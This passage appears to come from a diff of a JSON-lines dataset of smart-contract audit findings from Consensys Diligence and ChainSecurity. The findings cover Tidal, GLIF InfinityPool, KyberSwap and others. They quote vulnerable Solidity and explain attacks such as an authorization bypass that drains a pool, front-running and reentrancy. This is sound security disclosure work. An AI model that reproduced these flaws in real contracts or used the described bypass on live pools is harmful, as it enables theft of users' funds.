(0x12) if the number of shares in the pool is zero. This case could be handled more gracefully.\r\n\r\n#### Recommendation\r\n\r\nImplement the fixes described above. The versions without `SafeMath` are easier to read and should be preferred; see 20.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`claim` – Incomplete and Lenient Implementation","severity":"major","body":"#### Description\r\n\r\nIn the current version of the code, the `claim` function is lacking crucial input validation logic as well as required state changes. Most of the process is implemented in other contracts or off-chain at the moment and is therefore out of scope for this audit, but there might still be issues caused by potential errors in the process. Moreover, pool manager and committee together have unlimited ownership of the deposits and can essentially withdraw all collateral to any desired address.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L588-L592**\n```solidity\nfunction claim(\n uint256 policyIndex_,\n uint256 amount_,\n address receipient_\n) external onlyPoolManager {\n```\n\r\n#### Recommendation\r\n\r\nTo ensure a more secure claiming process, we propose adding the following logic to the `claim` function:\r\n\r\n1. `refund` should be called at the beginning of the `claim` flow, so that the recipient's true coverage amount will be used.\r\n2. `policyIndex` should be added as a parameter to this function, so that `coverageMap` can be used to validate that the amount claimed on behalf of a recipient is covered.\r\n3. The payout amount should be subtracted in the `coveredMap` and `coverageMap` mappings.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`buy` – Insurance Buyers Trying to Increase Their Coverage Amount Will Lose Their Previous Coverage","severity":"major","body":"#### Description\r\n\r\nWhen a user is willing to buy insurance, he is required to specify the desired amount (denoted as `amount_`) and to pay the entire premium upfront. In return, he receives the ownership over an entry inside the `coverageMap` mapping. If a user calls the `buy` function more than once for the same policy and time frame, his entry in the `coverageMap` will not represent the _accumulated_ amount that he paid for but only the _last_ coverage amount, which means previous coverage will be lost forever (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L266-L280**\n```solidity\nfor (uint256 w = fromWeek_; w < toWeek_; ++w) {\n incomeMap[policyIndex_][w] =\n incomeMap[policyIndex_][w].add(premium);\n coveredMap[policyIndex_][w] =\n coveredMap[policyIndex_][w].add(amount_);\n\n require(coveredMap[policyIndex_][w] <= maximumToCover,\n \"Not enough to buy\");\n\n coverageMap[policyIndex_][w][_msgSender()] = Coverage({\n amount: amount_,\n premium: premium,\n refunded: false\n });\n}\n```\n\r\n#### Recommendation\r\n\r\nThe coverage entry that represents the user's coverage should not be overwritten but should hold the _accumulated_ amount of coverage instead.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Several Issues Related to Upgradeability of Contracts","severity":"medium","body":"#### Description\r\n\r\nWe did not find a proxy contract or factory in the repository, but the README contains the following information:\r\n\r\n\n**README.md:L11**\n```solidity\nEvery Pool is a standalone smart contract. It is made upgradeable with OpenZeppelin’s Proxy Upgrade Pattern.\n```\n\r\n\n**README.md:L56**\n```solidity\nAnd there will be multiple proxies and one implementation of the Pools, and one proxy and one implementation of EventAggregator.\n```\n\r\nThere are several issues related to upgradeability or, generally, using the contracts as implementations for proxies. All recommendations in this report assume that it is not necessary to remain compatible with an existing deployment.\r\n\r\nA. The `Pool.sol` file imports `Initializable.sol` from OpenZeppelin's `contracts-upgradeable` and several other files from their \"regular\" `contracts` package.\r\n\r\n\n**contracts/Pool.sol:L5-L10**\n```solidity\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n```\n\r\nThese two should not be mixed, and in an upgradeable context, all files should be imported from `contracts-upgradeable`. Note that the import of `Ownable.sol` in `NonReentrancy.sol` can be removed completely; see 12.\r\n\r\nB. If upgradeability is supposed to work with inheritance, there should be dummy variables at the end of each contract in the inheritance hierarchy. Some of these have to be removed when \"real\" state variables are added. More precisely, it is conventional to use a fixed-size `uint256` array `__gap`, such that the consecutively occupied slots at the beginning (for the \"real\" state variables) add up to 50 with the size of the array. If state variables are added later, the gap's size has to be reduced accordingly to maintain this invariant. Currently, the contracts do not declare such a `__gap` variable.\r\n\r\nC. Implementation contracts should not remain uninitalized. To prevent initialization by an attacker – which, in some cases, can have an impact on the proxy – the implementation contract's constructor should call `_disableInitializers`.\r\n\r\n#### Recommendation\r\n\r\n1. Refamiliarize yourself with the subtleties and pitfalls of upgradeable contracts, in particular regarding state variables and the storage gap. A lot of useful information can be found [here](https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable).\r\n2. Only import from `contracts-upgradeable`, not from `contracts`.\r\n3. Add appropriately-sized storage gaps at least to `PoolModel`, `NonReentrancy`, and `EventAggregator`. (Note that adding a storage gap to `NonReentrancy` will break compatibility with existing deployments.) Ideally, add comments and warnings to each file that state variables may only be added at the end, that the storage gap's size has to be reduced accordingly, and that state variables must not be removed, rearranged, or in any way altered (e.g., type, `constant`, `immutable`). No state variables should ever be added to the `Pool` contract, and a comment should make that clear.\r\n4. Add a constructor to `Pool` and `EventAggregator` that calls `_disableInitializers`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`initialize` – Committee Members Array Can Contain Duplicates","severity":"medium","body":"#### Description\r\n\r\nThe initial committee members are given as array argument to the pool's `initialize` function. When the array is processed, there is no check for duplicates, and duplicates may also end up in the storage array `committeeArray`.\r\n\r\n\n**contracts/Pool.sol:L43-L47**\n```solidity\nfor (uint256 i = 0; i < committeeMembers_.length; ++i) {\n address member = committeeMembers_[i];\n committeeArray.push(member);\n committeeIndexPlusOne[member] = committeeArray.length;\n}\n```\n\r\nDuplicates will result in a discrepancy between the length of the array – which is later interpreted as the number of committee members – and the actual number of (different) committee members. This could lead to more problems, such as an insufficient committee size to reach the threshold.\r\n\r\n#### Recommendation\r\n\r\nThe `initialize` function should verify in the loop that `member` hasn't been added before. Note that `_executeAddToCommittee` refuses to add someone who is already in the committee, and the same technique can be employed here.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`addPolicy`, `setPolicy` – Missing Input Validation","severity":"medium","body":"#### Description and Recommendation\r\n\r\nBoth `addPolicy` and `setPolicy` are missing essential input validation on two main parameters:\r\n1. `collateralRatio_` – Should be validated to be non-zero, and it might be worth adding a range check.\r\n2. `weeklyPremium_` – Should be less than `RATIO_BASE` at least, and it might be worth adding a maximum value check.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L159**\n```solidity\nfunction addPolicy(\n```\n\n**contracts/Pool.sol:L143**\n```solidity\nfunction setPolicy(\n```","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`Pool.buy`– Users May End Up Paying More Than Intended Due to Changes in `policy.weeklyPremium`","severity":"medium","body":"#### Description\r\n\r\nThe price that an insurance buyer has to pay for insurance is determined by the duration of the coverage and the `weeklyPremium`. The price increases as the `weeklyPremium` increases. If a `buy` transaction is waiting in the mempool but eventually front-run by another transaction that increases `weeklyPremium`, the user will end up paying more than they anticipated for the same insurance coverage (assuming their allowance to the `Pool` contract is unlimited or at least higher than what they expected to pay).\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L273-L274**\n```solidity\nuint256 premium = amount_.mul(policy.weeklyPremium).div(RATIO_BASE);\nuint256 allPremium = premium.mul(toWeek_.sub(fromWeek_));\n```\n\r\n#### Recommendation\r\n\r\nConsider adding a parameter for the maximum amount to pay, and make sure that the transaction will revert if `allPremium` is greater than this maximum value.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Missing Validation Checks in `execute`","severity":"medium","body":"#### Description\r\n\r\nThe `Pool` contract implements a threshold voting mechanism for some changes in the contract state, where either the pool manager or a committee member can propose a change by calling `claim`, `changePoolManager`, `addToCommittee`, `removeFromCommittee`, or `changeCommitteeThreshold`, and then the committee has a time period for voting. If the threshold is reached during this period, then anyone can call `execute` to execute the state change.\r\n\r\nWhile some validation checks are implemented in the proposal phase, this is not enough to ensure that business logic rules around these changes are completely enforced.\r\n\r\n1. `_executeRemoveFromCommittee` – While the `removeFromCommittee` function makes sure that `committeeArray.length > committeeThreshold`, i.e., that there should always be enough committee members to reach the threshold, the same validation check is not enforced in `_executeRemoveFromCommittee`. To better illustrate the issue, let's consider the following example: `committeeArray.length = 5`, `committeeThreshold = 4`, and now `removeFromCommittee` is called two times in a row, where the second call is made before the first call reaches the threshold. In this case, both requests will be executed successfully, and we end up with `committeeArray.length = 3` and `committeeThreshold = 4`, which is clearly not desired.\r\n \r\n2. `_executeChangeCommitteeThreshold` – Applying the same concept here, this function lacks the validation check of `threshold_ <= committeeArray.length`, leading to the same issue as above. Let's consider the following example: `committeeArray.length = 3`, `committeeThreshold = 2`, and now `changeCommitteeThreshold`is called with `threshold_ = 3`, but before this request is executed, `removeFromCommittee` is called. After both requests have been executed successfully, we will end up with `committeeThreshold = 3` and `committeeArray.length = 2`, which is clearly not desired.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L783**\n```solidity\nfunction _executeRemoveFromCommittee(address who_) private {\n```\n\r\n\n**contracts/Pool.sol:L796**\n```solidity\nfunction _executeChangeCommitteeThreshold(uint256 threshold_) private {\n```\n\r\n#### Recommendation\r\n\r\nApply the same validation checks in the functions that execute the state change.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Reentrancy Concerns","severity":"minor","body":"#### Description and Recommendation\r\n\r\nA. All external functions in the `Pool` contract that make calls to the base or the Tidal token – and only these – have a `noReenter` modifier. That means that it is not possible to reenter the contract _through these functions_, but it could still be possible to reenter the pool through a _different_ external or public function that does not have such a modifier. Assuming the token contract allows reentrancy, the following could happen, for instance:\r\n\r\n1. Alice calls `withdrawReady`.\r\n2. During the call to the token contract, Alice gets control of execution through a callback.\r\n3. She reenters the pool contract through the `withdraw` function.\r\n\r\nNote that, at this point, `userInfo.pendingWithdrawShare` has a \"wrong\" value because we left the `Pool` contract before this state variable was updated. So the reentering call is operating on inconsistent state.\r\n\r\nWe didn't find a way to cause actual harm through this or similar reentrancies, but to rely on this kind of reasoning is dangerous, and there's always the risk to miss something. It is, therefore, recommended to add a `noReenter` modifier to all state-changing external functions, in particular the ones operating with shares.\r\n\r\nB. A second concern is reentrancy through `view` functions. In the example above, note that when we leave the pool contract, it is not only `userInfo.pendingWithdrawShare` that hasn't been updated yet, it is also `poolInfo.pendingWithdrawShare`. Hence, if we call, for example, `getAvailableCapacity` in step number 3, we will get a wrong result.\r\n\r\nIf this or other `view` functions are supposed to give reliable results under all circumstances, they should revert if `islocked` is `true`. (This state variable is currently private and not accessible in the derived contract `Pool`, so a small change has to be made in the `NonReentrancy` contract, too.)","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Hard-Coded Minimum Deposit Amount","severity":"minor","body":"#### Description\r\n\r\nThe `deposit` function specifies a minimum amount of 1e12 units of the base token for a deposit:\r\n\r\n\n**contracts/Pool.sol:L22**\n```solidity\nuint256 constant AMOUNT_PER_SHARE = 1e18;\n```\n\n**contracts/Pool.sol:L369-L376**\n```solidity\n// Anyone can be a seller, and deposit baseToken (e.g. USDC or WETH)\n// to the pool.\nfunction deposit(\n uint256 amount_\n) external noReenter {\n require(enabled, \"Not enabled\");\n\n require(amount_ >= AMOUNT_PER_SHARE / 1000000, \"Less than minimum\");\n```\n\r\nWhether that's an appropriate minimum amount or not depends on the base token. Note that the two example tokens listed above are USDC and WETH. With current ETH prices, 1e12 Wei cost an affordable 0.2 US Cent. USDC, on the other hand, has 6 decimals, so 1e12 units are worth 1 million USD, which is ... steep. \r\n\r\n#### Recommendation\r\n\r\nThe minimum deposit amount should be configurable.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Unnecessary Use of `SafeMath` Library","severity":"minor","body":"#### Description\r\n\r\nSince [Solidity v0.8.0](https://blog.soliditylang.org/2020/12/16/solidity-v0.8.0-release-announcement/), all arithmetic operations are checked by default and revert on over- or underflow. Hence, it is not necessary anymore to use the `SafeMath` library (or `SafeMathUpgradeable`). Employing it nonetheless not only wastes gas but also reduces the readability of arithmetic expressions considerably.\r\n\r\n#### Examples\r\n\r\nThe assignment \r\n```solidity\r\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(amount_.mul(SHARE_UNITS).div(poolInfo.totalShare));\r\n```\r\nis a lot easier to read without `SafeMath`:\r\n```solidity\r\npoolInfo.accTidalPerShare += amount_ * SHARE_UNITS / poolInfo.totalShare;\r\n```\r\nSee also 1.\r\n\r\n#### Recommendation\r\n\r\nWe recommend using the built-in arithmetic operations instead of `SafeMath`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Outdated Solidity Version","severity":"minor","body":"#### Description\r\n \r\nThe source files' version pragmas either specify that they need compiler version exactly 0.8.10 or at least 0.8.10:\r\n\r\n\n**contracts/Pool.sol:L2**\n```solidity\npragma solidity 0.8.10;\n```\n\r\n\n**contracts/helper/EventAggregator.sol:L2**\n```solidity\npragma solidity ^0.8.10;\n```\n\r\nSolidity v0.8.10 is a fairly dated version that has [known security issues](https://docs.soliditylang.org/en/latest/bugs.html). We generally recommend using the latest version of the compiler (at the time of writing, this is v0.8.20), and we also discourage the use of floating pragmas to make sure that the source files are actually compiled and deployed with the same compiler version they have been tested with.\r\n\r\n#### Recommendation\r\n\r\nUse the Solidity compiler v0.8.20, and change the version pragma in all Solidity source files to `pragma solidity 0.8.20;`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Code Used for Testing Purposes Should Be Removed Before Deployment","severity":"minor","body":"#### Description\r\n\r\nVariables and logic have been added to the code whose only purpose is to make it easier to test. This might cause unexpected behavior if deployed in production. For instance, `onlyTest` and `setTimeExtra` should be removed from the code before deployment, as well as `timeExtra` in `getCurrentWeek` and `getNow`.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L55**\n```solidity\nmodifier onlyTest() {\n```\n\n**contracts/Pool.sol:L67**\n```solidity\nfunction setTimeExtra(uint256 timeExtra_) external onlyTest {\n```\n\n**contracts/Pool.sol:L71-L73**\n```solidity\nfunction getCurrentWeek() public view returns(uint256) {\n return (block.timestamp + TIME_OFFSET + timeExtra) / (7 days);\n}\n```\n\n**contracts/Pool.sol:L75-L77**\n```solidity\nfunction getNow() public view returns(uint256) {\n return block.timestamp + timeExtra;\n}\n```\n\r\n#### Recommendation\r\n\r\nFor the long term, consider mimicking this behavior by using features offered by your testing framework.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Missing Events","severity":"minor","body":"#### Description\r\n\r\nSome state-changing functions do not emit an event at all or omit relevant information.\r\n\r\n#### Examples\r\n\r\nA. `Pool.setEventAggregator` should emit an event with the value of `eventAggregator_` so that off-chain services will be notified and can automatically adjust.\r\n\n**contracts/Pool.sol:L93-L95**\n```solidity\nfunction setEventAggregator(address eventAggregator_) external onlyPoolManager {\n eventAggregator = eventAggregator_;\n}\n```\n\r\nB. `Pool.enablePool` should emit an event when the pool is dis- or enabled.\r\n\n**contracts/Pool.sol:L581-L583**\n```solidity\nfunction enablePool(bool enabled_) external onlyPoolManager {\n enabled = enabled_;\n}\n```\n\r\nC. `Pool.execute` only logs the `requestIndex_` while it should also include the `operation` and `data` to better reflect the state change in the transaction.\r\n\n**contracts/Pool.sol:L756-L760**\n```solidity\nif (eventAggregator != address(0)) {\n IEventAggregator(eventAggregator).execute(\n requestIndex_\n );\n}\n```\n\r\n#### Recommendation\r\n\r\nState-changing functions should emit an event to have an audit trail and enable monitoring of smart contract usage.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`CommitteeRequest`, `WithdrawRequest` - Should Use an `enum` Type","severity":null,"body":"#### Description and Recommendation\r\n\r\nA. There are 5 different operations: `claim`, `changePoolManager`, `addToCommittee`, `removeFromCommittee`, and `changeCommitteeThreshold`. These operations are numbered from 0 to 4, and this number is stored as a `uint8` in committee requests:\r\n\r\n\n**contracts/model/PoolModel.sol:L99-L104**\n```solidity\nstruct CommitteeRequest {\n uint256 time;\n uint256 vote;\n bool executed;\n uint8 operation;\n bytes data;\n```\n\r\nDevelopers have to remember or look up which number denotes which operation:\r\n\r\n\n**contracts/Pool.sol:L738-L754**\n```solidity\nif (cr.operation == 0) {\n (uint256 amount, address receipient) = abi.decode(\n cr.data, (uint256, address));\n _executeClaim(amount, receipient);\n} else if (cr.operation == 1) {\n address poolManager = abi.decode(cr.data, (address));\n _executeChangePoolManager(poolManager);\n} else if (cr.operation == 2) {\n address newMember = abi.decode(cr.data, (address));\n _executeAddToCommittee(newMember);\n} else if (cr.operation == 3) {\n address oldMember = abi.decode(cr.data, (address));\n _executeRemoveFromCommittee(oldMember);\n} else if (cr.operation == 4) {\n uint256 threshold = abi.decode(cr.data, (uint256));\n _executeChangeCommitteeThreshold(threshold);\n}\n```\n\r\nThis is error-prone and tedious. An [enum type](https://docs.soliditylang.org/en/v0.8.20/types.html#enums) is a safer and more convenient way to encode the different operations. In fact, this is a textbook scenario for employing an enum, and we recommend doing so.\r\n\r\nB. Withdrawal requests are first created with the `withdraw` function. After `withdrawWaitWeeks1` weeks, they can be advanced to a \"pending\" status by calling `withdrawPending`. Finally, after another `withdrawWaitWeeks2` weeks, the request can be executed via `withdrawReady`.\r\n\r\nThis is currently implemented via two boolean members in the `WithdrawRequest` struct, `pending` and `executed`:\r\n\r\n\n**contracts/model/PoolModel.sol:L72-L78**\n```solidity\nstruct WithdrawRequest {\n uint256 share;\n uint256 time;\n bool pending;\n bool executed;\n bool succeeded;\n}\n```\n\r\nInitially, when the request is created, they're both set to `false`. For a pending request, `pending` is `true`, and `executed` remains at `false`. Finally, they're both set to `true` for an executed request.\r\n\r\nAn object transitioning through a series of states is another excellent use case for enums. In this example, the state could be modeled with an enum as follows: `enum Status { Created, Pending, Executed }`. This approach has several advantages compared to the implementation with two boolean variables:\r\n* It uses only one variable, instead of two. In particular, setting and querying the state only involves one variable.\r\n* It can be easily extended to more states without introducing additional variables.\r\n* The object can never be in more than one state at once or in an undefined state. (With the current implementation, it would be possible to have `pending == false` and `executed == true`.)\r\n\r\n#### Remark\r\n\r\nIt is often a good idea to have something like \"None\" or \"NonExistent\" as first value in the enum. That makes it easy to distinguish \"real\" objects from unchanged storage, as in: \"Here is no object.\" In the two examples above, that is not necessary, but it wouldn't hurt either.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"No NatSpec Annotations","severity":null,"body":"#### Description\r\n\r\nNatSpec is the de facto standard for the annotation of Solidity files. To quote the Solidity documentation:\r\n\r\n> It is recommended that Solidity contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI).\r\n\r\nThe Tidal codebase does not use NatSpec, and there's not a lot of documentation and comments in general.\r\n\r\n#### Recommendation\r\n\r\nUse NatSpec documentation and follow the advice in the quote.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`vote` - Voting \"No\" Has No Effect","severity":null,"body":"#### Description\r\n\r\nCommittee members can vote on proposals with either \"yes\" or \"no\". Voting \"no\" has no effect at all, i.e., there is no state change or event emitted, no return value, etc.\r\n\r\n\n**contracts/Pool.sol:L695-L701**\n```solidity\nfunction vote(\n uint256 requestIndex_,\n bool support_\n) external onlyCommittee {\n if (!support_) {\n return;\n }\n```\n\r\nThis means voting with \"no\" is pointless, and the option to do so could be removed completely.\r\n\r\n#### Recommendation\r\n\r\nConsider removing the `bool support_` parameter from the `vote` function, such that calling `vote` is always a \"yes\" vote. Maybe rename the function to make this more explicit.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Unused Import","severity":null,"body":"#### Description\r\n\r\nThe file `NonReentrancy.sol` imports `Ownable.sol`, but this import is not used.\r\n\r\n\n**contracts/common/NonReentrancy.sol:L4**\n```solidity\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n```\n\r\n#### Recommendation\r\n\r\nRemove the unnecessary import.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"Unnecessary and Outdated Pragma Directive","severity":null,"body":"#### Description\r\n\r\nThe `Pool.sol` source file uses the pragma directive `pragma experimental ABIEncoderV2;`:\r\n\r\n\n**contracts/Pool.sol:L3**\n```solidity\npragma experimental ABIEncoderV2;\n```\n\r\nABI coder V2 is the default since Solidity v0.8.0 and is considered non-experimental as of Solidity v0.6.0. Hence, this directive is not necessary and even a bit misleading because the \"experimental\" status was removed long ago.\r\n\r\n#### Recommendation\r\n\r\nThis line can be removed. If you want to be explicit for some reason, it should be replaced with `pragma abicoder v2;`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`vote` Could Call `execute` When `committeeThreshold` Is Reached","severity":null,"body":"#### Description and Recommendation\r\n\r\nIn the current version of the code, an additional transaction to `execute` is needed in case the threshold was reached for a specific request. Instead, `execute` could be invoked as part of `vote` when the threshold is reached. \r\n\r\n\n**contracts/Pool.sol:L714**\n```solidity\ncr.vote = cr.vote.add(1);\n```","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} {"title":"Dependencies With Publicly Known Vulnerabilities (Out of Scope)","severity":"major","body":"### Description\r\nThe snaps project defines a dependency (`@truffle/hdwallet-provider@2.1.1` within the `yarn.lock` file vulnerable to publicly known weaknesses rated as `High` or `Medium` in the CVSS scoring system. It should be noted that the identified areas were not directly in the scope of the code review and are listed for the sake of completeness. \r\n\r\nThe following `@truffle/hdwallet-provider@2.1.1` weaknesses were identified:\r\n\r\n- Denial of Service `decode-uri-element` [CVE-2022-38900](https://nvd.nist.gov/vuln/detail/CVE-2022-38900) (CVSSv3 7.5)\r\n- Regular Expression Denial of Service \r\n- - `http-cache-semantics` [CVE-2022-25881](https://nvd.nist.gov/vuln/detail/CVE-2022-25881)(CVSSv3 7.5)\r\n- - `cookiejar` [CVE-2022-25901](https://nvd.nist.gov/vuln/detail/CVE-2022-25901)(CVSSv3 7.5 - 5.3)\r\n- - `ws` [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) (CVSSv3 5.3)\r\n- Server Request Forgery `request` [CVE-2023-28155](https://nvd.nist.gov/vuln/detail/CVE-2023-28155) (CVSSv3 6.5)\r\n- Open Redirect `got` [CVE-2022-33987](https://nvd.nist.gov/vuln/detail/CVE-2022-33987) (CVSSv3 5.3)\r\n- Insecure Credential Storage `web3` [SNYK-JS-WEB3-174533](https://security.snyk.io/vuln/SNYK-JS-WEB3-174533) (CVSSv3 3.3)\r\n\r\n\r\n\r\n\r\n### Recommendation\r\nReview all identified dependencies and update the newest, stable version where applicable. Additionally, review the current patch policy to ensure the components are updated as soon as a fix exists.\r\nFor the identified vulnerable components, the following versions provide fixes: \r\n- `decode-uri-component@0.2.2`\r\n- `http-cache-semantics@4.1.1`\r\n- `cookiejar@2.1.4`\r\n- `got@11.8.5, @12.1.0`\r\n- `ws@7.4.6, @6.2.2, @5.2.3`\r\n\r\n\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/04/mobymask-mvp-snap/","repo":"https://consensys.net//diligence/audits/2023/04/mobymask-mvp-snap/","url":"https://consensys.net//diligence/audits/2023/04/mobymask-mvp-snap/"}} {"title":"InfinityPool Contract Authorization Bypass Attack","severity":"critical","body":"#### Description\r\n\r\nAn attacker could create their own credential and set the Agent ID to `0`, which would bypass the `subjectIsAgentCaller` modifier. The attacker could use this attack to borrow funds from the pool, draining any available liquidity. For example, only an `Agent` should be able to borrow funds from the pool and call the `borrow` function:\r\n\r\n\n**src/Pool/InfinityPool.sol:L302-L325**\n```solidity\nfunction borrow(VerifiableCredential memory vc) external isOpen subjectIsAgentCaller(vc) {\n // 1e18 => 1 FIL, can't borrow less than 1 FIL\n if (vc.value < WAD) revert InvalidParams();\n // can't borrow more than the pool has\n if (totalBorrowableAssets() < vc.value) revert InsufficientLiquidity();\n Account memory account = _getAccount(vc.subject);\n // fresh account, set start epoch and epochsPaid to beginning of current window\n if (account.principal == 0) {\n uint256 currentEpoch = block.number;\n account.startEpoch = currentEpoch;\n account.epochsPaid = currentEpoch;\n GetRoute.agentPolice(router).addPoolToList(vc.subject, id);\n }\n\n account.principal += vc.value;\n account.save(router, vc.subject, id);\n\n totalBorrowed += vc.value;\n\n emit Borrow(vc.subject, vc.value);\n\n // interact - here `msg.sender` must be the Agent bc of the `subjectIsAgentCaller` modifier\n asset.transfer(msg.sender, vc.value);\n}\n```\n\r\nThe following modifier checks that the caller is an `Agent`:\r\n\r\n\n**src/Pool/InfinityPool.sol:L96-L101**\n```solidity\nmodifier subjectIsAgentCaller(VerifiableCredential memory vc) {\n if (\n GetRoute.agentFactory(router).agents(msg.sender) != vc.subject\n ) revert Unauthorized();\n _;\n}\n```\n\r\nBut if the caller is not an `Agent`, the `GetRoute.agentFactory(router).agents(msg.sender)` will return `0`. And if the `vc.subject` is also zero, the check will be successful with any `msg.sender`. The attacker can also pass an arbitrary `vc.value` as the parameter and steal all the funds from the pool.\r\n\r\n#### Recommendation\r\n\r\nEnsure only an `Agent` can call `borrow` and pass the `subjectIsAgentCaller` modifier.","dataSource":{"name":"/diligence/audits/2023/04/glif-filecoin-infinitypool/","repo":"https://consensys.net//diligence/audits/2023/04/glif-filecoin-infinitypool/","url":"https://consensys.net//diligence/audits/2023/04/glif-filecoin-infinitypool/"}} {"title":"Agent Data Oracle Signed Credential Front-Running Attack","severity":"major","body":"#### Description\r\n\r\nFor almost every action as an `Agent`, the owner of the `Agent` is supposed to request `SignedCredential` data that contains all the relevant current info about the \"off-chain\" state of the `Agent`. New credentials can only be requested when the old one for this `Agent` is used or expired. Anyone can request these credentials, containing all the data about the call. So if the attacker consistently requests the credentials with the function and parameters that the actual `Agent` wouldn't want to call, the `Agent` won't be able to generate the credentials that are needed.\r\n\r\n#### Recommendation\r\n\r\nEnsure an `Agent` can always have new credentials that are needed. One solution would be to allow only an Agent's owner to request the credentials. The problem is that the beneficiary is also supposed to do that, but the beneficiary may also be a contract.","dataSource":{"name":"/diligence/audits/2023/04/glif-filecoin-infinitypool/","repo":"https://consensys.net//diligence/audits/2023/04/glif-filecoin-infinitypool/","url":"https://consensys.net//diligence/audits/2023/04/glif-filecoin-infinitypool/"}} @@ -2910,6 +2964,124 @@ {"title":"6.14 Specification Mismatches in SwapMath","severity":"minor","body":"Correctness Low Version 1 Specification Changed\n\nSome mismatches between the specifications and code occur in the SwapMath library. Some examples\nare:\n\n- The Core Library Swap Math documentation of calcReachAmount() distinguishes four cases.\n However, case 1 & 4 and case 2 & 3 are identical. That mismatches the technical documentation of\n the swap and the implementation.\n- The technical documentation does not specify that the absolute value of usedAmount (delta x tmp)\n is to be used for the calculation of deltaL.\n- The technical documentation differs in the mathematical formula for calculating returnedAmount.\n\nSpecification changed:\n\nThe specification now better reflects the implementation.","dataSource":{"name":"ChainSecurity/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf"}} {"title":"6.15 flash() Sends Fees to feeTo","severity":"minor","body":"Correctness Low Version 1 Specification Changed\n\nThe natspec documentation of flash() in IPoolActions specifies the following:\n\n\n```\n/// @dev Fees collected are distributed to all rToken holders\n/// since no rTokens are minted from it\n```\nHowever, the fees are transferred to the feeTo address stored in 